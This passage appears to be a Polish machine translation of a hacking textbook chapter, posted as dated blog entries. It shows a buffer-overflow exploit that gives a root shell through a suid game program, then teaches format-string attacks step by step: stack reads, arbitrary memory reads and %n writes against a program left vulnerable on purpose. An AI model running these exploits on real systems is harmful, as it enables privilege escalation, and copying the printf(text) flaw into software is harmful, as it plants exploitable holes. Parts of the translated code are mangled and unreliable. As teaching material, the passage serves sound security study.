Would you like to play again? (y/n) -=[ Game of Chance Menu ]=-

1 - Play the Pick a Number game

2 - Play the No Match Dealer game

3 - Play the Find the Ace game

4 - View current high score

5 - Change your user name

6 - Reset your account at 100 credits

7 - Quit

[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]

[You have 1230 credits] ->

Change user name

Enter your new name: Your name has been changed.

-=[ Game of Chance Menu ]=-

1 - Play the Pick a Number game

2 - Play the No Match Dealer game

3 - Play the Find the Ace game

4 - View current high score

5 - Change your user name

6 - Reset your account at 100 credits

7 - Quit

[Name: Jon Erickson]

[You have 1230 credits] ->

Thanks for playing! Bye.

reader@hacking:~/booksrc $

Jak już pewnie zauważyłeś, program ten uruchamia również suid root. Oznacza to, że shellcode może być użyty znacznie więcej niż wygrywanie darmowych kredytów. Podobnie jak w przypadku przepełnienia stosu, kod powłoki może być ukryty w zmiennej środowiskowej. Po zbudowaniu odpowiedniego bufora eksploatacyjnego bufor jest przesyłany strumieniowo do standardowego wejścia game_of_chance. Zwróć uwagę na argument dash następujący po buforze exploita w komendzie cat. To każe programowi cat wysłać standardowe wejście po buforze exploita, zwracając kontrolę wejścia. Mimo że powłoka główna nie wyświetla swojego monitu, nadal jest dostępna i nadal eskaluje uprawnienia

reader@hacking:~/booksrc $ export SHELLCODE=$(cat ./shellcode.bin)

reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./game_of_chance

SHELLCODE will be at 0xbffff9e0

reader@hacking:~/booksrc $ perl -e 'print "1\n7\nn\n5\n" . "A"x100 . "\xe0\

xf9\xff\xbf\n" . "1\n"' > exploit_buffer

reader@hacking:~/booksrc $ cat exploit_buffer - | ./game_of_chance

-=[ Game of Chance Menu ]=-

1 - Play the Pick a Number game

2 - Play the No Match Dealer game

3 - Play the Find the Ace game

4 - View current high score

5 - Change your user name

6 - Reset your account at 100 credits

7 - Quit

[Name: Jon Erickson]

[You have 70 credits] ->

[DEBUG] current_game pointer @ 0x08048fde

####### Pick a Number ######

This game costs 10 credits to play. Simply pick a number

between 1 and 20, and if you pick the winning number, you

will win the jackpot of 100 credits!

10 credits have been deducted from your account.

Pick a number between 1 and 20: The winning number is 2

Sorry, you didn't win.

You now have 60 credits

Would you like to play again? (y/n) -=[ Game of Chance Menu ]=-

1 - Play the Pick a Number game

2 - Play the No Match Dealer game

3 - Play the Find the Ace game

4 - View current high score

5 - Change your user name

6 - Reset your account at 100 credits

7 - Quit

[Name: Jon Erickson]

[You have 60 credits] ->

Change user name

Enter your new name: Your name has been changed.

-=[ Game of Chance Menu ]=-

1 - Play the Pick a Number game

2 - Play the No Match Dealer game

3 - Play the Find the Ace game

4 - View current high score

5 - Change your user name

6 - Reset your account at 100 credits

7 - Quit

[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]

[You have 60 credits] ->

[DEBUG] current_game pointer @ 0xbffff9e0

whoami

root

id

uid=0(root) gid=999(reader)

groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46( plugdev),104(scanner),112(netdev),113(lpadmin),115(powerdev),117(admin),999(reader)

Powrót

16.07.2020

Formatuj ciągi

Exploit z ciągiem formatów to kolejna technika, za pomocą której można uzyskać kontrolę nad uprzywilejowanym programem. Podobnie jak exploity przepełnienia bufora, exploity formatu string również zależą od błędów programistycznych, które mogą nie mieć oczywistego wpływu na bezpieczeństwo. Na szczęście dla programistów, gdy technika jest znana, dość łatwo jest wykryć luki w formatach i wyeliminować je. Mimo że luki w formatach ciągów znaków nie są już często spotykane, poniższe techniki mogą być również używane w innych sytuacjach.

Powrót

17.07.2020

Parametry formatu

Powinieneś już dość dobrze znać podstawowe ciągi formatów. Zostały one szeroko stosowane z funkcjami takimi jak printf() w poprzednich programach. Funkcja używająca ciągów formatujących, takich jak printf (), po prostu ocenia przekazany do niej ciąg formatu i wykonuje specjalną akcję za każdym razem, gdy napotkany zostanie parametr formatu. Każdy parametr formatu oczekuje podania dodatkowej zmiennej, więc jeśli istnieją trzy parametry formatu w ciągu formatu, powinny być trzy dodatkowe argumenty funkcji (oprócz argumentu formatu). Przypomnij sobie różne parametry formatu wyjaśnione w poprzedniej części.



Parametr : Typ wejścia : Typ wyjścia

% d : Wartość : dziesiętna

% u : Wartość : Bez znaku dziesiętne

% x : Wartość : szesnastkowa

% s : Wskaźnik : String

% n : Wskaźnik : Liczba zapisanych do tej pory bajtów

W poprzedniej części pokazano użycie bardziej popularnych parametrów formatu, ale zaniedbano mniej powszechny parametr formatu% n. Kod fmt_uncommon.c demonstruje jego użycie.

fmt_uncommon.c

#include < stdio.h >

#include < stdlib.h >

int main () {

int A = 5, B = 7, count_one, count_two;

// Przykład ciągu w formacie% n

printf ("Zapisano liczbę bajtów zapisanych do tego punktu X% n

count_one i liczba bajtów do tej pory X% n jest zapisywana w

count_two. \ n ", & count_one, & count_two);

printf ("count_one:% d \ n", count_one);

printf ("count_two:% d \ n", count_two);

// Przykładowy stos

printf ("A jest% d i wynosi% 08x. B to% x. \ n", A, & A, B);

exit (0);

}

Ten program używa dwóch parametrów formatu n w instrukcji printf (). Poniżej przedstawiono dane wyjściowe kompilacji i wykonania programu.

reader @ hacking: ~ / booksrc $ gcc fmt_uncommon.c

reader @ hacking: ~ / booksrc $ ./a.out

Liczba bajtów zapisanych do tego punktu X jest przechowywana w count_one, a

Liczba

bajty do tego miejsca X jest zapisywany w count_two.

count_one: 46

count_two: 113

A wynosi 5 i jest na bffff7f4. B to 7.

reader@ hacking: ~ / booksrc $

Parametr% n jest wyjątkowy, ponieważ zapisuje dane bez wyświetlania czegokolwiek, w przeciwieństwie do odczytu i wyświetlania danych. Gdy funkcja formatu napotka parametr% n, zapisuje liczbę bajtów zapisanych przez funkcję na adres w odpowiednim argumencie funkcji. W fmt_uncommon, odbywa się to w dwóch miejscach, a operator adresu unarnego służy do zapisu tych danych odpowiednio do zmiennych count_one i count_two. Wartości są następnie wyprowadzane, pokazując, że 46 bajtów znajduje się przed pierwszymi% n i 113 przed drugim. Przykład stosu na końcu jest wygodnym przejściem do wyjaśnienia roli stosu za pomocą ciągów formatujących:

printf ("A jest% d i wynosi% 08x. B to% x. \ n", A, & A, B);

Po wywołaniu tej funkcji printf () jak w przypadku dowolnej funkcji, argumenty są przekazywane do stosu w odwrotnej kolejności. Najpierw wartość B, następnie adres A, następnie wartość A, a na końcu adres ciągu formatującego. Stos będzie wyglądał jak diagram tutaj. Funkcja formatowania iteruje przez ciąg formatu po jednym znaku na raz. Jeśli znak nie jest początkiem parametru formatu (który jest oznaczony znakiem procentu), znak jest kopiowany do pliku wydajność. Jeśli napotkano parametr formatu, podejmowane są odpowiednie działania, używając argumentu w stosie odpowiadającego temu parametrowi. Ale co, jeśli tylko dwa argumenty są wypychane na stos za pomocą ciągu formatu, który używa trzech parametrów formatu? Spróbuj usunąć ostatni argument z linii printf () dla przykładu stosu, aby pasował do linii pokazanej poniżej.

printf ("A jest% d i wynosi% 08x. B to% x. \ n", A, & A);

Można to zrobić w edytorze lub przy odrobinie magii sed.

reader @ hacking: ~ / booksrc $ sed -e 's /, B) /) /' fmt_uncommon.c> fmt_uncommon2.c

reader @ hackowanie: ~ / booksrc $ diff fmt_uncommon.c fmt_uncommon2.c

14c14

< printf ("A jest% d i wynosi% 08x. B to% x. \ n", A, & A, B);

---

> printf ("A jest% d i wynosi% 08x. B to% x. \ n", A, & A);

reader @ hackowanie: ~ / booksrc $ gcc fmt_uncommon2.c

reader @ hacking: ~ / booksrc $ ./a.out

Liczba bajtów zapisanych do tego punktu X jest zapisywana w count_one, a liczba bajtów do tego miejsca X jest przechowywana w count_two.

count_one: 46

count_two: 113

A wynosi 5 i jest na bffffc24. B to b7fd6ff4. reader @ hacking: ~ / booksrc $

Wynikiem jest b7fd6ff4. Czym do cholery jest b7fd6ff4? Okazuje się, że skoro nie było żadnej wartości wypchniętej na stos, funkcja formatowania właśnie wyciągnęła dane z miejsca, w którym powinien być trzeci argument (przez dodanie do bieżącego wskaźnika ramki). Oznacza to, że 0xb7fd6ff4 jest pierwszą wartością znalezioną pod ramką stosu dla funkcji formatu. To interesujący szczegół, o którym należy pamiętać. Z pewnością byłby o wiele bardziej przydatny, gdyby istniał sposób kontrolowania liczby argumentów przekazywanych lub oczekiwanych przez funkcję formatu. Na szczęście istnieje dość powszechny błąd programowania, który pozwala na to drugie.

Powrót

18.07.2020

Luka w zabezpieczeniach formatu

Czasami programiści używają printf (string) zamiast printf ("% s", string) do drukowania ciągów. Funkcjonalnie działa to dobrze. Funkcja formatowania jest przekazywana na adres ciągu, w przeciwieństwie do adresu ciągu formatu, i iteruje przez ciąg znaków, drukując każdy znak. Przykłady obu metod są pokazane w fmt_vuln.c.

fmt_vuln.c

#include < stdio.h >

#include < stdlib.h >

#include < string.h >

int main(int argc, char *argv[]) {

char text[1024];

static int test_val = -72;

if(argc < 2) {

printf("Usage: %s \n", argv[0]);

exit(0);

}

strcpy(text, argv[1]);

printf("The right way to print user-controlled input:\n");

printf("%s", text);

printf("\nThe wrong way to print user-controlled input:\n");

printf(text);

printf("\n");

// Debug output

printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val,

test_val);

exit(0);

}

Poniższy wynik pokazuje kompilację i wykonanie fmt_vuln.c.

reader@hacking:~/booksrc $ gcc -o fmt_vuln fmt_vuln.c

reader@hacking:~/booksrc $ sudo chown root:root ./fmt_vuln

reader@hacking:~/booksrc $ sudo chmod u+s ./fmt_vuln

reader@hacking:~/booksrc $ ./fmt_vuln testing

The right way to print user-controlled input:

testing

The wrong way to print user-controlled input:

testing

[*] test_val @ 0x08049794 = -72 0xffffffb8

reader@hacking:~/booksrc $

Obie metody wydają się działać z testowaniem ciągów. Ale co się stanie, jeśli ciąg zawiera parametr formatu? Funkcja format powinna próbować ocenić parametr formatu i uzyskać dostęp do odpowiedniego argumentu funkcji przez dodanie do wskaźnika ramki. Ale jak widzieliśmy wcześniej, jeśli nie ma odpowiedniego argumentu funkcji, dodanie do wskaźnika ramki odniesie się do części pamięci w poprzedniej ramce stosu.

reader@hacking:~/booksrc $ ./fmt_vuln testing %x

The right way to print user-controlled input:

testing%x

The wrong way to print user-controlled input:

testingbffff3e0

[*] test_val @ 0x08049794 = -72 0xffffffb8

reader@hacking:~/booksrc $

Gdy użyto parametru% x format, szesnastkowa reprezentacja czterobajtowego słowa w stosie była wyświetlona. Ten proces może być wielokrotnie użyty do zbadania pamięci stosu

reader@hacking:~/booksrc $ ./fmt_vuln $(perl -e 'print "%08x."x40')

The right way to print user-controlled input:

%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x

.%08x.

%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x

.%08x.

%08x.%08x.

The wrong way to print user-controlled input:

bffff320.b7fe75fc.00000000.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e

.30252

e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e

.30252e78.2

52e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78

.252e78

38.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.

[*] test_val @ 0x08049794 = -72 0xffffffb8

reader@hacking:~/booksrc $

Tak wygląda pamięć o niższym stosie. Pamiętaj, że każde czterobajtowe słowo jest zacofane z powodu architektury małego endianizmu. Bajki 0x25, 0x30, 0x38, 0x78 i 0x2e wydają się często powtarzać. Ciekawe, czym są te bajty?

reader@hacking:~/booksrc $ printf "\x25\x30\x38\x78\x2e\n"

%08x.

reader@hacking:~/booksrc $

Jak widać, są one pamięcią dla samego łańcucha formatu. Ponieważ funkcja formatowania zawsze będzie znajdować się na najwyższej ramce stosu, tak długo, jak długo ciąg znaków będzie przechowywany w dowolnym miejscu na stosie, będzie znajdował się poniżej bieżącego wskaźnika ramki (przy wyższym adresie pamięci). Ten fakt może być użyty do kontroli argumentów funkcja formatu. Jest to szczególnie użyteczne, jeśli używane są parametry formatu przekazywane przez odniesienie, takie jak% s lub% n.

Powrót

19.07.2020

Odczytywanie z dowolnych adresów pamięci

Parametr %s formatu można wykorzystać do odczytu z dowolnych adresów pamięci. Ponieważ możliwe jest odczytanie danych oryginalnego ciągu formatów, część oryginalnego ciągu formatów może być użyta do dostarczenia adresu do parametru formatu% s, jak pokazano tutaj:

reader@hacking:~/booksrc $ ./fmt_vuln AAAA%08x.%08x.%08x.%08x

The right way to print user-controlled input:

AAAA%08x.%08x.%08x.%08x

The wrong way to print user-controlled input:

AAAAbffff3d0.b7fe75fc.00000000.41414141

[*] test_val @ 0x08049794 = -72 0xffffffb8

reader@hacking:~/booksrc $

Cztery bajty 0x41 wskazują, że czwarty parametr formatu odczytuje od początku ciągu formatu, aby uzyskać jego dane. Jeśli czwartym parametrem formatu jest% s zamiast% x, funkcja formatu spróbuje wydrukować ciąg znajdujący się pod adresem 0x41414141. Spowoduje to awarię programu w przypadku błędu segmentacji, ponieważ nie jest to poprawny adres. Ale jeśli używany jest poprawny adres pamięci, proces ten może zostać wykorzystany do odczytania ciągu znalezionego pod tym adresem pamięci.

reader@hacking:~/booksrc $ env | grep PATH

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games

reader@hacking:~/booksrc $ ./getenvaddr PATH ./fmt_vuln

PATH will be at 0xbffffdd7

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\xd7\xfd\xff\xbf")%08x.%08x.%08x.%s

The right way to print user-controlled input:

????%08x.%08x.%08x.%s

The wrong way to print user-controlled input:

????bffff3d0.b7fe75fc.00000000./usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:

/bin:/

usr/games

[*] test_val @ 0x08049794 = -72 0xffffffb8

reader@hacking:~/booksrc $

Tutaj program getenvaddr służy do uzyskania adresu zmiennej środowiskowej PATH. Ponieważ nazwa programu fmt_vuln jest dwa bajty mniejsze niż getenvaddr, cztery są dodawane do adresu, a bajty są odwracane z powodu kolejności bajtów. Czwarty parametr formatu% s czyta od początku ciągu formatu, myśląc, że jest to adres, który został przekazany jako argument funkcji. Ponieważ ten adres jest adresem zmiennej środowiskowej PATH, jest drukowany tak, jakby wskaźnik do zmiennej środowiskowej był przekazywany do printf (). Teraz, gdy znana jest odległość między końcem ramki stosu a początkiem pamięci ciągu formatów, argumenty o szerokości pola można pominąć w parametrach formatu% x. Te parametry formatu są potrzebne tylko do przechodzenia przez pamięć. Korzystając z tej techniki, każdy adres pamięci może być sprawdzany jako ciąg znaków.

Powrót

20.07.2020

Zapisywanie pod arbitralne adresy pamięci

Jeśli parametr %s formatu może być użyty do odczytania dowolnego adresu pamięci, powinieneś być w stanie użyć tej samej techniki z %n, aby zapisać do dowolnego adresu pamięci. Teraz sprawy stają się interesujące. Zmienna test_val drukowała swój adres i wartość w instrukcji debugowania zagrożonego programu fmt_vuln.c, po prostu błagając o nadpisanie. Zmienna testowa znajduje się w 0x08049794, więc używając podobnej techniki, powinieneś być w stanie napisać do zmiennej.

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\xd7\xfd\xff\xbf")%08x.%08x.%08x.%s

The right way to print user-controlled input:

????%08x.%08x.%08x.%s

The wrong way to print user-controlled input:

????bffff3d0.b7fe75fc.00000000./usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:

/bin:/

usr/games

[*] test_val @ 0x08049794 = -72 0xffffffb8

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n

The right way to print user-controlled input:

??%08x.%08x.%08x.%n

The wrong way to print user-controlled input:

??bffff3d0.b7fe75fc.00000000.

[*] test_val @ 0x08049794 = 31 0x0000001f

reader@hacking:~/booksrc $

Jak to pokazuje, zmienna test_val może być rzeczywiście nadpisana przy użyciu parametru formatu% n. Wynikowa wartość zmiennej testowej zależy od liczby bajtów zapisanych przed% n. Można to kontrolować w większym stopniu poprzez zmianę opcji szerokości pola.

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%x%n

The right way to print user-controlled input:

??%x%x%x%n

The wrong way to print user-controlled input:

??bffff3d0b7fe75fc0

[*] test_val @ 0x08049794 = 21 0x00000015

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%100x%n

The right way to print user-controlled input:

??%x%x%100x%n

The wrong way to print user-controlled input:

??bffff3d0b7fe75fc

0

[*] test_val @ 0x08049794 = 120 0x00000078

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%180x%n

The right way to print user-controlled input:

??%x%x%180x%n

The wrong way to print user-controlled input:

??bffff3d0b7fe75fc

0

[*] test_val @ 0x08049794 = 200 0x000000c8

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%400x%n

The right way to print user-controlled input:

??%x%x%400x%n

The wrong way to print user-controlled input:

??bffff3d0b7fe75fc

0

[*] test_val @ 0x08049794 = 420 0x000001a4

reader@hacking:~/booksrc $

Poprzez manipulowanie opcją szerokości pola jednego z parametrów formatu przed% n, można wstawić określoną liczbę pustych spacji, w wyniku czego wyjście ma kilka pustych linii. Te linie z kolei mogą być używane do kontrolowania liczby bajtów zapisanych przed parametrem formatu% n. To podejście będzie działać dla małych liczb, ale nie będzie działać dla większych, takich jak adresy pamięci. Patrząc na szesnastkową reprezentację wartości test_val, widać, że najmniej znaczący bajt może być kontrolowany dość dobrze. (Pamiętaj, że najmniej znaczący bajt faktycznie znajduje się w pierwszym bajcie czterobajtowego słowa pamięci.) Ten szczegół może być użyty do napisania całego adresu. Jeśli cztery zapisy są wykonywane w adresach pamięci sekwencyjnych, najmniej znaczący bajt można zapisać do każdego bajtu czterobajtowego słowa, jak pokazano tutaj:

Memory 94 95 96 97

First write to 0x08049794 AA 00 00 00

Second write to 0x08049795 BB 00 00 00

Third write to 0x08049796 CC 00 00 00

Fourth write to 0x08049797 DD 00 00 00

Result AA BB CC DD

Jako przykład, spróbujmy zapisać adres 0xDDCCBBAA w zmiennej testowej. W pamięci pierwszy bajt zmiennej testowej powinien mieć wartość 0xAA, następnie 0xBB, następnie 0xCC, a na końcu 0xDD. Należy wykonać cztery oddzielne zapisy w adresach pamięci 0x08049794, 0x08049795, 0x08049796 i 0x08049797. Pierwszy zapis zapisze wartość 0x000000aa, drugi 0x000000bb, trzeci 0x000000cc, a na końcu 0x000000dd. Pierwsze napisanie powinno być łatwe.

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%8x%n

The right way to print user-controlled input:

??%x%x%8x%n

The wrong way to print user-controlled input:

??bffff3d0b7fe75fc 0

[*] test_val @ 0x08049794 = 28 0x0000001c

reader@hacking:~/booksrc $ gdb -q

(gdb) p 0xaa - 28 + 8

$1 = 150

(gdb) quit

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%150x%n

The right way to print user-controlled input:

??%x%x%150x%n

The wrong way to print user-controlled input:

??bffff3d0b7fe75fc

0

[*] test_val @ 0x08049794 = 170 0x000000aa

reader@hacking:~/booksrc $

Ostatni parametr formatu% x używa 8 jako szerokości pola do standaryzacji danych wyjściowych. Zasadniczo odczytuje losowy DWORD ze stosu, który może wyświetlać od 1 do 8 znaków. Ponieważ pierwsze nadpisanie przenosi 28 na test_val, użycie 150 jako szerokości pola zamiast 8 powinno kontrolować najmniej znaczący bajt wartości test_val do 0xAA. Teraz do następnego zapisu. Kolejny argument jest potrzebny, aby inny parametr% xformat zwiększył liczbę bajtów do 187, co jest wartością 0xBB w systemie dziesiętnym. Ten argument może być wszystkim; musi mieć tylko cztery bajty i musi znajdować się po pierwszym dowolnym adresie pamięci 0x08049754. Ponieważ wszystko to wciąż znajduje się w pamięci ciągu formatu, można go łatwo kontrolować. Słowo JUNK ma długość czterech bajtów i działa dobrze. Następnie należy umieścić w pamięci kolejny adres pamięci, 0x08049755, aby drugi% n Parametr formatu może uzyskać do niego dostęp. Oznacza to, że początek ciągu formatu powinien składać się z docelowego adresu pamięci, czterech bajtów śmieci, a następnie docelowego adresu pamięci plus jeden. Ale wszystkie te bajty pamięci są również drukowane przez funkcję formatowania, zwiększając w ten sposób licznik bajtów użytych dla parametru formatu% n. To staje się trudne. Być może powinniśmy pomyśleć o początku łańcucha formatów z wyprzedzeniem. Celem jest mieć cztery zapisy. Każdy z nich musi mieć adres pamięci przekazany do niego, a wśród nich wszystkie cztery bajty śmieci są potrzebne, aby odpowiednio zwiększyć licznik bajtów dla parametrów formatu% n. Pierwszy parametr formatu% x może wykorzystywać cztery bajty znalezione przed samym ciągiem formatującym, ale pozostałe trzy będą wymagały dostarczenia danych.

Spróbujmy.

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\

x96\

x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%8x%n

The right way to print user-controlled input:

??JUNK??JUNK??JUNK??%x%x%8x%n

The wrong way to print user-controlled input:

??JUNK??JUNK??JUNK??bffff3c0b7fe75fc 0

[*] test_val @ 0x08049794 = 52 0x00000034

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xaa - 52 + 8"

$1 = 126

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\

x96\

x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n

The right way to print user-controlled input:

??JUNK??JUNK??JUNK??%x%x%126x%n

The wrong way to print user-controlled input:

??JUNK??JUNK??JUNK??bffff3c0b7fe75fc

0

[*] test_val @ 0x08049794 = 170 0x000000aa

reader@hacking:~/booksrc $

Adresy i niepotrzebne dane na początku łańcucha formatu zmieniły wartość niezbędnej szerokości pola dla parametru formatu% x. Można to jednak łatwo obliczyć ponownie za pomocą tej samej metody, co poprzednio. Innym sposobem, w jaki można to zrobić, jest odjęcie 24 od poprzedniej szerokości pola wartości 150, ponieważ 6 nowych 4-bajtowych słów zostało dodanych z przodu ciągu formatu. Teraz, gdy cała pamięć jest ustawiona z wyprzedzeniem na początku ciągu formatu, drugi zapis powinien być prosty.

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbb - 0xaa"

$1 = 17

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\

x96\

x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n%17x%n

The right way to print user-controlled input:

??JUNK??JUNK??JUNK??%x%x%126x%n%17x%n

The wrong way to print user-controlled input:

??JUNK??JUNK??JUNK??bffff3b0b7fe75fc

0 4b4e554a

[*] test_val @ 0x08049794 = 48042 0x0000bbaa

reader@hacking:~/booksrc $

Kolejną pożądaną wartością najmniej znaczącego bajtu jest 0xBB. Szesnastkowy kalkulator szybko pokazuje, że 17 dodatkowych bajtów musi zostać zapisanych przed następnym parametrem formatu% n. Ponieważ pamięć została już skonfigurowana dla parametru formatu% x, można łatwo zapisać 17 bajtów przy użyciu opcji szerokości pola. Ten proces można powtórzyć dla trzeciego i czwartego zapisu.

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xcc - 0xbb"

$1 = 17

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xdd - 0xcc"

$1 = 17

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\

x96\

x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n%17x%n%17x%n%17x%n

The right way to print user-controlled input:

??JUNK??JUNK??JUNK??%x%x%126x%n%17x%n%17x%n%17x%n

The wrong way to print user-controlled input:

??JUNK??JUNK??JUNK??bffff3b0b7fe75fc

0 4b4e554a 4b4e554a 4b4e554a

[*] test_val @ 0x08049794 = -573785174 0xddccbbaa

reader@hacking:~/booksrc $

Kontrolując najmniej znaczący bajt i wykonując cztery zapisy, cały adres można zapisać na dowolny adres pamięci. Należy zauważyć, że trzy bajty znalezione po adresie docelowym również zostaną nadpisane przy użyciu tej techniki. Można to szybko zbadać, statycznie deklarując inną zainicjowaną zmienną o nazwie next_val, zaraz po parametrze test_val, a także wyświetlając tę wartość w danych wyjściowych debugowania. Zmiany można wprowadzać w edytorze lub przy użyciu nieco więcej magii sed. Tutaj next_val jest inicjowane wartością 0x11111111, więc efekt operacji zapisu na niej będzie widoczny.

reader@hacking:~/booksrc $ sed -e 's/72;/72, next_val = 0x11111111;/;/@/{h;s/test/next/

g;x;G}'

fmt_vuln.c > fmt_vuln2.c

reader@hacking:~/booksrc $ diff fmt_vuln.c fmt_vuln2.c

7c7

< static int test_val = -72;

---

> static int test_val = -72, next_val = 0x11111111;

27a28

> printf("[*] next_val @ 0x%08x = %d 0x%08x\n", &next_val, next_val, next_val);

reader@hacking:~/booksrc $ gcc -o fmt_vuln2 fmt_vuln2.c

reader@hacking:~/booksrc $ ./fmt_vuln2 test

The right way:

test

The wrong way:

test

[*] test_val @ 0x080497b4 = -72 0xffffffb8

[*] next_val @ 0x080497b8 = 286331153 0x11111111

reader@hacking:~/booksrc $

Jak pokazuje poprzednie wyjście, zmiana kodu również przesunęła adres zmiennej test_val. Jednak next_val jest pokazane sąsiadujące z nim. Aby ćwiczyć, napiszmy ponownie adres zmiennej test_val, używając nowego adresu. Ostatnim razem użyto bardzo wygodnego adresu oxdccbbaa. Ponieważ każdy bajt jest większy niż poprzedni bajt, łatwo jest zwiększyć bajt licznika dla każdego bajtu. Ale co jeśli adres taki jak 0x0806abcd zostanie użyty? Przy tym adresie pierwszy bajt 0xCD można łatwo zapisać przy użyciu parametru formatu% n, wysyłając 205 bajtów w sumie bajtów z szerokością pola 161. Ale wtedy następny bajt do zapisania to 0xAB, który musiałby mieć 171 wygenerowane bajty. Można łatwo zwiększyć licznik bajtów dla parametru% n, ale nie można od niego odjąć

reader@hacking:~/booksrc $ ./fmt_vuln2 AAAA%x%x%x%x

The right way to print user-controlled input:

AAAA%x%x%x%x

The wrong way to print user-controlled input:

AAAAbffff3d0b7fe75fc041414141

[*] test_val @ 0x080497f4 = -72 0xffffffb8

[*] next_val @ 0x080497f8 = 286331153 0x11111111

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xcd - 5"

$1 = 200

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\

xf6\

x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%8x%n

The right way to print user-controlled input:

??JUNK??JUNK??JUNK??%x%x%8x%n

The wrong way to print user-controlled input:

??JUNK??JUNK??JUNK??bffff3c0b7fe75fc 0

[*] test_val @ 0x08049794 = -72 0xffffffb8

reader@hacking:~/booksrc $

reader@hacking:~/booksrc $ ./fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\

xf6\

x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%8x%n

The right way to print user-controlled input:

??JUNK??JUNK??JUNK??%x%x%8x%n

The wrong way to print user-controlled input:

??JUNK??JUNK??JUNK??bffff3c0b7fe75fc 0

[*] test_val @ 0x080497f4 = 52 0x00000034

[*] next_val @ 0x080497f8 = 286331153 0x11111111

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xcd - 52 + 8"

$1 = 161

reader@hacking:~/booksrc $ ./fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\

xf6\

x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%161x%n

The right way to print user-controlled input:

??JUNK??JUNK??JUNK??%x%x%161x%n

The wrong way to print user-controlled input:

??JUNK??JUNK??JUNK??bffff3b0b7fe75fc

0

[*] test_val @ 0x080497f4 = 205 0x000000cd

[*] next_val @ 0x080497f8 = 286331153 0x11111111

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xab - 0xcd"

$1 = -34

reader@hacking:~/booksrc $

Zamiast próbować odjąć 34 od 205, najmniej znaczący bajt jest po prostu zawijany do 0x1AB przez dodanie 222 do 205, aby wytworzyć 427, która jest dziesiętną reprezentacją 0x1AB. Technikę tę można wykorzystać do zawinięcia i ustawić najmniej znaczący bajt na 0x06 dla trzeciego zapisu.

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0x1ab - 0xcd"

$1 = 222

reader@hacking:~/booksrc $ gdb -q --batch -ex "p /d 0x1ab"

$1 = 427

reader@hacking:~/booksrc $ ./fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\

xf6\

x97\x04\x08JUNK\xf7\x97\x04\x08")%x%x%161x%n%222x%n

The right way to print user-controlled input:

??JUNK??JUNK??JUNK??%x%x%161x%n%222x%n

The wrong way to print user-controlled input:

??JUNK??JUNK??JUNK??bffff3b0b7fe75fc

0

4b4e554a

[*] test_val @ 0x080497f4 = 109517 0x0001abcd

[*] next_val @ 0x080497f8 = 286331136 0x11111100

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0x06 - 0xab"

$1 = -165

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0x106 - 0xab"

$1 = 91

reader@hacking:~/booksrc $ ./fmt_vuln2 $(printf "\xf4\x97\x04\x08JUNK\xf5\x97\x04\x08JUNK\

xf6\

